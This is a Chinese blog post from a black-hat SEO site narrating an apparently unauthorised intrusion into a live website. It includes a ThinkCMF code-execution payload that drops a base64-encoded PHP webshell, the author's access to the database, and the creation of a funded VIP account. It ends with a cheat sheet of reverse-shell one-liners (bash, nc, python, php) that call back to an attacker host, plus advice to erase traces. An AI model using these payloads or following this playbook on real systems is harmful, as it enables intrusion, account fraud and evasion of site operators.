黑帽SEO
免费发布泛目录 蜘蛛池 黑帽SEO工具

记录一次实战渗透测试

  该站点是部门的一位骚气老哥分享给在下的,可能是看着在下部门最菜的身份,想锻炼锻炼在下,于是就掏出了他收藏许久的站点来给在下练练手。啥也不说,感动就完事了!所以这几天在下就本着学习的心态对这个黄站进行了一波友谊渗透。

  渗透流程

  确定目标站点

  http://156.***.***.158/

  对站点进行目录爆破

  这里使用了御剑和dirsearch两大目录爆破神器、然而神器并不好用,爆破过程中就发现了一个phpinfo页面和一个后台地址,没有惊喜收获。甚至怀疑1.php是其他黑客测试过程中顺手上传的遗产。

  简单的过了一下没有发现什么可用的数据,只能硬着头皮去看主体内容有没有可挖掘的东西。

  开始渗透

  注册用户进行渗透

  在注册用户的地方想看看用户是否有可上传文件的地方(比如上传头像之类的),注册成功后很不幸地发现什么都没有,个人信息处只有一个修改登录密码的功能。然后想着是否可以越权修改他人密码比如管理员的。这里试着抓包全面检查了一下参数,发现没有什么明显的逻辑漏洞。

  对后台地址进行渗透

  发现前台登录没有明显的可利用漏洞,于是联想到之前爆目录爆出来的后台地址,精神又大振,尝试了一下admin登录,系统提示密码错误。神经瞬间亢奋,习惯性的进行了一波注入测试,发现并不存在。抓包看了一下响应包,发现不存在明显的逻辑特征。

  对主体内容进行渗透

  经过对流量的抓包和回放测试,发现了一个SQL注入漏洞,习惯性的丢到sqlmap里面去跑。

  但sqlmap似乎测试不出这是什么数据库,估计是过滤了一些关键字眼。本来是想着手注一下的,然后无意输入了一个错误路径,报错信息令我神经振奋。这居然是一个ThinkCMF的站,啥也不说payload走起。

  /index.php?a=fetchtemplateFile=public/indexprefix=”content=phpfile_put_contents(‘info.php’,base64_decode(‘PD9waHAgZXZhbCgkX1BPU1RbJ2FiYyddKTs/Pg==’))/php

  这里在下选了ThinkCMF的部分代码给各位大表哥简单的介绍一下payload执行成功的原因(说的不对的,大佬请轻点喷)

  payload能够执行成功首先是因为ThinkCMF的fetch方法采用的是public,这意味着可以通过a参数直接进行调用。其次是因为ThinkCMF里面的fetch调用了tp框架中的/Library/Think/View.class.php中的fetch函数,而在该函数处理中content参数是可控的,我们可以通过构造content参数传入带注入的php代码从而达到getshell的效果。

  emmmmmm,理论差不多就是这个样子。还是不懂的话,可以看看那些大佬们的具体分析文章。在下就继续接着友谊渗透找问题啦,执行payload,在根目录下成功创建了一个info.php的一句话木马,菜刀走一波。

  啥也不说,Dos命令走一波,发现无回显,估计站长老哥做了一些安全限制。

  无奈只有去找其他的可用信息,查找了一下站点的配置信息,发现了数据库的配置信息。

  这里直接上传一波大马(其实没必要),只是想满足一下自己(的特殊需求)。

  连接数据库,找到VIP用户对应的表,新建了一个拥有几万块钱的用户的账户,随手就给自己开了一个永久VIP,刺激。

  这里最刺激的是可以给自己提现任意金额,不过作为良好公民的我,哪怕是非法站点我也是不会对它薅羊毛的。最后看了一下,简单的尝试了一下nc反弹shell,shell是成功反弹了,但是命令似乎依旧无法执行,算了,目的已经达到就点到为止了。

  后渗透

  几天过后,想了想,还是觉得前面做的太浅了。于是想回去对流量做一个转发,进行一下后渗透。结果发现站长老哥发现异常了,把站给关了。

  没有办法,只好到此为止。

  总结

  常见shell反弹总结

  可以根据服务器上面存在的进行利用。

  whereis 记录一次实战渗透测试 bash nc php python exec具体可以采用上述方式进行查看。

  用bash反弹

  bash -i /dev/tcp/公网主机IP/端口 01/bin/bash -i /dev/tcp/公网主机IP/端口 01/bin/sh -i /dev/tcp/公网主机IP/端口 01这里简单解释一下:bash -i 打开一个交互的bash, 将标准错误输出重定向到标准输出/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口01 标准输入重定向到标准输出,实现你与反弹出来的shell的交互。

  用nc反弹

  nc -e /bin/bash 公网主机IP 端口rm/tmp/fmkfifo/tmp/f;cat/tmp/f|/bin/bash-i21|nc公网主机IP端口/tmp/f用python反弹

  python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“公网主机IP”,端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’用php反弹

  php -r ‘$sock=fsockopen(“公网主机IP”,端口);exec(“/bin/bash -i 3 3 23”);’用exec反弹

  0196;exec 196/dev/tcp/your_vps/1024; sh 196 196 2196渗透总结

  拿下站后,动静不能弄的太大,不要小瞧开发和运维老哥。另外还有清理掉自己渗透过程中留下的痕迹。

未经允许不得转载:黑帽SEO-实战SEO技术培训、泛目录站群、蜘蛛池、流量技术教程 » 记录一次实战渗透测试
分享到: 更多 (0)

黑帽SEO-实战SEO技术培训、泛目录站群、蜘蛛池、流量技术教程

不做韭菜坚决不做韭菜